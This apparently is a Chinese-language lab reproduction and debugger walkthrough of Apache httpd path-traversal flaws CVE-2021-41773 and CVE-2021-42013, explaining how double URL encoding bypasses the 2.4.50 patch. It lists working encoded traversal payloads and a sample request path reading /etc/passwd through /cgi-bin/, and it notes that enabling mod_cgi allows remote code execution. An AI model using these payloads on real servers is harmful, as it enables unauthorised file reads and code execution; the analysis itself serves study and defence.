CVE-2021-42013为目录穿越文件读取漏洞,影响 httpd 2.4.49,CVE编号为CVE-2021-41773, https 2.4.50不完全修复可绕过,如果开启 mod_cgi
则可RCE。
CVE-2021-41773复现分析如下:
利用网上师傅的docker镜像
docker run -p 8080:80 -d --privileged turkeys/httpd:cve-2021-41773
环境中有安装好的 pwndbg 插件,直接按步调试即可,这里参考Betta师傅的文章
CVE-2021-41773不完全的修复导致了 CVE-2021-42013
可用的 payload 有
/%2%65./
/%2%65%2e/
/.%2%65/
/%2e%2%65/
/%2%65%2%65/
/%%32e%%32e/
/%25%32%65%25%32%65/ # 无法生效 ap_normalize_path 不能将 %25 进行url解码处理后为 %
我们注意到 https 2.4.50 中添加了补丁
添加的补丁是对 .%2e 和 %2e%2e 进行了校验,但是我们在 request.c 中注意到还会调用 ap_unescape_url 来对 url 进行又一次的编码,所以通过两次编码就可以绕过
request.c::ap_process_request_internal
util.c:ap_normalize_path
返回结果为一次编码后的结果
util.c:ap_unescape_url
util.c:ap_unescape_url
我们看到此时保存值的指针地址 0x7fa06c00a1f0 ◂— '/cgi-bin/%2e./%2e./%2e./%2e./%2e./etc/passwd'
函数执行结束后 打印出 0x7fa06c00a1f0 对应的值
发现已经对 url 进行了再一次的解码
在 /etc/httpd/httpd.conf 配置文件中去掉 mod_cgid.so 的注释
至此,CVE-2021-42013的漏洞分析到此结束,如有不当感谢师傅指出!!!